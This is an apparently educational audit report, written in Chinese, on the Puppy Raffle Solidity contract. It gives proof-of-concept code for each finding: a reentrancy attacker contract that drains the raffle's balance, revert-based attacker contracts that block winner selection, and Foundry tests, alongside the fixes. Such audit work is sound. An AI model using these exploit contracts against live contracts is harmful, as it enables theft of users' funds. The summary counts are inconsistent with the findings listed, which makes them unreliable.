Puppy Raffle Audit Report
审计详情
项目地址：https://github.com/Cyfrin/4-puppy-raffle-audit
本文档中描述的发现与以下提交哈希相对应：
22bbbb2c47f3f2b78c1b134590baf41383fd354f范围
./src/
-- PuppyRaffle.sol协议摘要
Puppy Rafle 是一个致力于抽奖发放不同稀有度小狗 NFT 的协议。一部分入场费将归中奖者所有，其余费用则由协议所有者指定的另一个地址收取。
角色
- Owner：唯一可以更改的人
feeAddress，以_owner变量表示。 - Fee User：收取抽奖入场费的用户。以
feeAddress变量表示。 - Raffle Entrant：任何参与抽奖的人。以在
players阵列中为单位。
执行摘要
发现的问题
| 严重程度 | 发现的问题数量 |
|---|---|
| High | 4 |
| Medium | 3 |
| Low | 0 |
| Info | 8 |
| Total | 0 |
发现
High
[H-1] 重入攻击PuppyRaffle::refund允许进入者耗尽合约余额
描述：该PuppyRaffle::refund功能不遵循CEI/FREI-PI，因此导致参与者耗尽合约余额。
在PuppyRaffle::refund函数中，我们首先对地址进行外部调用msg.sender，并且只有在进行该外部调用之后，我们才会更新players数组。
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}参与抽奖的玩家可以拥有一个fallback/receive函数，该函数会PuppyRaffle::refund再次调用该函数并申请另一笔退款。他们可以持续循环，直到合约余额耗尽。
影响：抽奖参与者支付的所有费用可能被恶意参与者窃取。
验证路径：
- 用户参加抽奖。
- 攻击者设置一个
fallback，调用函数的合约PuppyRaffle::refund。 - 攻击者进入抽奖环节。
- 攻击者从他们的合约中调用
PuppyRaffle::refund，耗尽合约余额。
验证代码：
contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
entranceFee = puppyRaffle.entranceFee();
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
fallback() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
}
function testReentrance() public playersEntered {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));
vm.deal(address(attacker), 1e18);
uint256 startingAttackerBalance = address(attacker).balance;
uint256 startingContractBalance = address(puppyRaffle).balance;
attacker.attack();
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(puppyRaffle).balance;
assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);
assertEq(endingContractBalance, 0);
}缓解措施：
改变调用顺序，在调用转账之前先更新 players 的状态
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund player");
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}[H-2] 弱随机性PuppyRaffle::selectWinner允许任何人选择获胜者
描述：将msg.sender、block.timestamp、block.difficulty哈希运算在一起，可以生成一个可预测的最终数字。可预测的数字并非好的随机数。恶意用户可以操纵这些值，或提前知道这些值，从而自行选择抽奖的获胜者。
影响：任何用户都可以选择抽奖的获胜者，赢得奖金并选择“最稀有”的小狗，本质上使得所有小狗都具有相同的稀有性，因为您可以选择小狗。
验证路径：
这里有几个攻击的例子。
- 验证者可以提前知道
block.timestamp和block.difficulty，并利用这些知识预测何时/如何参与。请参阅关于 prevrando 的 Solidity 博客。block.difficulty最近已被 取代prevrandao。 - 用户可以操纵该
msg.sender值以使他们的指数成为赢家。
使用链上值作为随机种子是区块链领域中众所周知的攻击媒介。
建议的缓解措施：考虑使用像Chainlink VRF这样的预言机来实现随机性。
[H-3]损失费用的PuppyRaffle::totalFees整数溢出
描述：在 之前的 Solidity 版本中0.8.0，整数容易发生整数溢出。
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0影响：在 中PuppyRaffle::selectWinner，totalFees费用会被累积起来，以便feeAddress稍后在 中收取withdrawFees。但是，如果totalFees变量溢出，feeAddress可能无法收取正确金额的费用，导致费用永久地滞留在合约中。
证明：
- 我们首先对 4 名玩家进行抽奖，以收取一些费用。
- 然后，我们又有 89 名玩家参加新的抽奖，我们也结束该抽奖。
totalFees：
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;- 您现在将无法提款，因为其中有以下行
PuppyRaffle::withdrawFees：
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");虽然你可以用selfdestruct将ETH 发送到该合约以使 value匹配并提取费用，但这显然不是该协议的初衷。
建议的缓解措施：
- 使用较新版本的 Solidity，默认情况下不允许整数溢出。
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;或者，如果您想使用旧版本的 Solidity，您可以使用像 OpenZeppelin 这样的库SafeMath来防止整数溢出。
- 使用 a
uint256而不是 auint64fortotalFees。
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;- 删除balance检查
PuppyRaffle::withdrawFees
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");我们还希望在未来的发现中提请您注意此行所导致的另一种攻击媒介。
[H-4] 恶意中奖者可永久停止抽奖
描述：一旦选出获胜者，该selectWinner函数就会通过对获胜者账户的外部调用将奖品发送到相应的地址。
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");如果该winner账户是一个未实现应付账款fallback或receive功能的智能合约，或者这些功能已被包含但被 revert 了，则上述外部调用将失败，并且该selectWinner功能的执行将停止。因此，奖金将永远不会发放，抽奖也将无法开始新一轮。
还有另一种攻击向量可以用来阻止抽奖，利用该selectWinner函数会为使用该函数的获胜者铸造 NFT 的事实_safeMint。该函数继承自ERC721合约，如果接收方是智能合约，则会尝试调用onERC721Received接收方的hook函数。如果合约未实现该函数，则 revert。
因此，攻击者可以在抽奖活动中注册一个未实现onERC721Received预期hook的智能合约。这将阻止铸造 NFT，并将调用还原到selectWinner。
影响：无论哪种情况，由于不可能分发奖品并开始新一轮，抽奖活动将永远停止。
证明：
function testSelectWinnerDoS() public {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
address[] memory players = new address[](4);
players[0] = address(new AttackerContract());
players[1] = address(new AttackerContract());
players[2] = address(new AttackerContract());
players[3] = address(new AttackerContract());
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.expectRevert();
puppyRaffle.selectWinner();
}contract AttackerContract {
// Implements a `receive` function that always reverts
receive() external payable {
revert();
}
}
// 或者如下实现
contract AttackerContract {
// Implements a `receive` function to receive prize, but does not implement `onERC721Received` hook to receive the NFT.
receive() external payable {}
}建议的缓解措施：优先使用拉取支付而非推送支付。这意味着修改selectWinner函数，使获胜者账户必须通过调用函数来领取奖金，而不是让合约在执行期间自动发送资金selectWinner。
Medium
[M-1] 循环遍历玩家数组以检查是否存在重复项，PuppyRaffle::enterRaffle这是一个潜在的 DoS 向量，会增加未来进入者的 gas 成本
描述：该PuppyRaffle::enterRaffle函数循环遍历players数组以检查重复项。然而，PuppyRaffle:players数组越长，新玩家需要进行的检查就越多。这意味着，在抽奖开始时立即进入的玩家的 Gas 成本将显著低于稍后进入的玩家。players数组中每个额外的地址，都是循环必须进行的额外检查。此外，增加的 Gas 成本创造了抢先交易的机会，恶意用户可以抢先交易其他抽奖参与者的交易，从而增加其成本，导致他们的参与交易失败。
影响：影响是双重的。
- 随着越来越多的玩家参与抽奖，抽奖参与者的汽油成本将大幅增加。
- 为恶意用户创造了抢先交易的机会，以提高其他用户的 gas 成本，从而使他们的交易失败。
证明：
如果有 2 组各 100 名玩家进入，则 gas 成本如下：
- 前100名玩家：6252039
- 第二百名玩家：18067741
对于第二组 100 名球员来说，这要贵 3 倍多！
这是由于函数中的 for 循环造成的PuppyRaffle::enterRaffle。
// Check for duplicates
@> for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}验证代码：
function testReadDuplicateGasCosts() public {
vm.txGasPrice(1);
// We will enter 5 players into the raffle
uint256 playersNum = 100;
address[] memory players = new address[](playersNum);
for (uint256 i = 0; i < playersNum; i++) {
players[i] = address(i);
}
// And see how much gas it cost to enter
uint256 gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
uint256 gasEnd = gasleft();
uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
console.log("Gas cost of the 1st 100 players:", gasUsedFirst);
// We will enter 5 more players into the raffle
for (uint256 i = 0; i < playersNum; i++) {
players[i] = address(i + playersNum);
}
// And see how much more expensive it is
gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
gasEnd = gasleft();
uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);
assert(gasUsedFirst < gasUsedSecond);
// Logs:
// Gas cost of the 1st 100 players: 6252039
// Gas cost of the 2nd 100 players: 18067741
}建议的缓解措施：有一些建议的缓解措施。
- 考虑允许重复。用户无论如何都可以创建新的钱包地址，因此重复检查并不能阻止同一个人多次输入，只能阻止同一个钱包地址。
- 考虑使用映射来检查重复项。这样您就可以在常数时间内（而不是线性时间内）检查重复项。您可以为每个抽奖活动指定一个
uint256ID，然后映射将是玩家地址映射到抽奖活动 ID 的过程。
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
.
.
.
function enterRaffle(address[] memory newPlayers) public payable {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
players.push(newPlayers[i]);
+ addressToRaffleId[newPlayers[i]] = raffleId;
}
- // Check for duplicates
+ // Check for duplicates only from the new players
+ for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+ }
- for (uint256 i = 0; i < players.length; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate player");
- }
- }
emit RaffleEnter(newPlayers);
}
.
.
.
function selectWinner() external {
+ raffleId = raffleId + 1;
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");或者，您可以使用OpenZeppelin 的EnumerableSet库。
[M-2] PuppyRaffle::withdrawFees余额检查使恶意破坏者能够selfdesctruct将 ETH 发送到抽奖活动的合约，从而阻止提款
描述：该PuppyRaffle::withdrawFees函数检查 是否totalFees等于合约的 ETH 余额（address(this).balance）。由于该合约没有payablefallback 或receive函数，你可能会认为这是不可能的，但用户可以selfdesctruct通过一个包含 ETH 的合约强制将资金转入合约PuppyRaffle，从而破坏此检查。
function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}影响：这将阻止用户feeAddress提取费用。恶意用户可以withdrawFee在内存池中看到交易，抢先执行，并通过发送费用来阻止提现。
证明：
PuppyRaffle其余额为 800 wei，总费用为 800。- 恶意用户通过
selfdestruct feeAddress无法再提取资金
建议的缓解措施：删除该功能上的余额检查PuppyRaffle::withdrawFees。
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}[M-3] 不安全的PuppyRaffle::fee损失费用
描述：在 中PuppyRaffle::selectWinner，将 a 的类型转换为uint256。uint64这是一种不安全的转换，如果uint256大于type(uint64).max，则该值将被截断。
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length > 0, "PuppyRaffle: No players in raffle");
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 fee = totalFees / 10;
uint256 winnings = address(this).balance - fee;
@> totalFees = totalFees + uint64(fee);
players = new address[](0);
emit RaffleWinner(winner, winnings);
}a 的最大值uint64为18446744073709551615。以 ETH 计算，仅为 ~ 18ETH 。这意味着，如果收取的费用超过 18ETH，fee铸造将截断该值。
影响：这意味着feeAddress将无法收取正确数额的费用，而费用将永久地滞留在合同中。
证明：
- 抽奖活动收取的费用略高于 18 ETH
- 把
fee转化为uint64 totalFees错误地更新了较低的金额
可以通过运行以下命令在 foundry 的 chisel 中复制此操作：
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0建议的缓解措施：将 设置为PuppyRaffle::totalFeesauint256而不是uint64，并移除强制类型转换。他们的评论如下：
// We do some storage packing to save gas但是如果我们必须重新铸造并且存在这个错误，那么节省的潜在气体是不值得的。
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
.
.
.
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;[M-4] 智能合约钱包抽奖获胜者没有receive或fallback将阻止新比赛的开始
描述：该PuppyRaffle::selectWinner函数负责重置抽奖。但是，如果中奖者是一个拒绝付款的智能合约钱包，则抽奖将无法重新开始。非智能合约钱包用户可以重新进入，但是由于重复检查，可能会花费大量的gas。
影响：该PuppyRaffle::selectWinner功能可能会多次恢复，并且使重置彩票变得非常困难，从而阻止新的彩票开始。
此外，真正的赢家将无法获得奖金，而其他人将赢得他们的钱！
证明：
- 10个智能合约钱包参与抽奖，无回退或接收功能。
- 抽奖结束
selectWinner即使抽奖已经结束，该功能仍然无法使用！
建议的缓解措施：有几个选项可以缓解这个问题。
- 不允许智能合约钱包进入（不推荐）
- 创建地址到支付的映射，以便获奖者可以自行提取资金，并让获奖者拥有领取奖金的所有权。（推荐）
Informational / Non-Critical
[I-1] Floating pragmas
描述：合约应使用严格版本的 Solidity 语言。锁定版本可确保合约部署时使用的 Solidity 语言版本与测试时使用的版本一致。错误的版本可能会导致意外结果。
https://swcregistry.io/docs/SWC-103/
建议的缓解措施：锁定 pragma 版本。
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;[I-2] 神奇数字
描述：所有数字字面量都应该替换为常量。这样可以使代码更易读且更易于维护。没有上下文的数字被称为“魔法数字”。
建议的缓解措施：用常量替换所有魔术数字。
+ uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+ uint256 public constant FEE_PERCENTAGE = 20;
+ uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE;[I-3] 测试覆盖率
描述：测试覆盖率低于 90%。这通常意味着部分代码未经测试。
| File | % Lines | % Statements | % Branches | % Funcs |
| ---------------------------------- | -------------- | -------------- | -------------- | ------------- |
| script/DeployPuppyRaffle.sol | 0.00% (0/3) | 0.00% (0/4) | 100.00% (0/0) | 0.00% (0/1) |
| src/PuppyRaffle.sol | 82.46% (47/57) | 83.75% (67/80) | 66.67% (20/30) | 77.78% (7/9) |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7) | 100.00% (8/8) | 50.00% (1/2) | 100.00% (2/2) |
| Total | 80.60% (54/67) | 81.52% (75/92) | 65.62% (21/32) | 75.00% (9/12) |建议的缓解措施：将测试覆盖率提高到 90% 或更高，尤其是对于Branches列。
[I-4] 零地址验证
描述：合约PuppyRaffle未验证 是否feeAddress为零地址。这意味着feeAddress可能会被设置为零地址，从而导致费用损失。
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/PuppyRaffle.sol#57) lacks a zero-check on :
- feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165) lacks a zero-check on :
- feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)建议的缓解措施：feeAddress每当更新时添加零地址检查。
[I-5] _isActivePlayer 从未使用过，应将其移除
描述：该功能PuppyRaffle::_isActivePlayer从未使用过，应被删除。
- function _isActivePlayer() internal view returns (bool) {
- for (uint256 i = 0; i < players.length; i++) {
- if (players[i] == msg.sender) {
- return true;
- }
- }
- return false;
- }[I-6] 不变的变量应该是常量或不可变的
常量实例：
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant 不可变实例：
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable[I-7] 活跃玩家索引可能存在错误
描述：该getActivePlayerIndex函数旨在当给定地址处于非活动状态时返回零。但是，当players数组的第一个位置存储活动地址时，它也可能返回零。这可能会使查询该函数以获取活动玩家索引的用户产生混淆。
建议的缓解措施：返回 2**256-1（或任何其他足够高的数字）来表示给定的玩家处于非活动状态，以避免与活动玩家的索引发生冲突。
[I-8] 零地址可能会被错误地视为活跃玩家
描述：该函数通过将数组中相应的位置设置为零来refund移除活跃玩家。其文档证实了这一点，指出“此函数允许数组中存在空白位置”。然而，该函数并未考虑到这一点。如果有人在退款后调用函数并传递零地址，该函数会将零地址视为活跃玩家，并返回其在数组中的索引。players`getActivePlayerIndexgetActivePlayerIndexplayers`
建议的缓解措施：players在迭代数组时跳过零地址getActivePlayerIndex。请注意，此更改意味着零地址永远无法成为活跃玩家。因此，最好也阻止零地址在enterRaffle函数中被注册为有效玩家。
Gas（可选）
getActivePlayerIndex返回 0。它是索引 0 处的玩家吗？或者它是无效的。- MEV 具有退款功能。
- 收取提现费的 MEV
- 稀有性问题的随机性
- 在 safemint 之前进行可重入抽奖
评论 (0)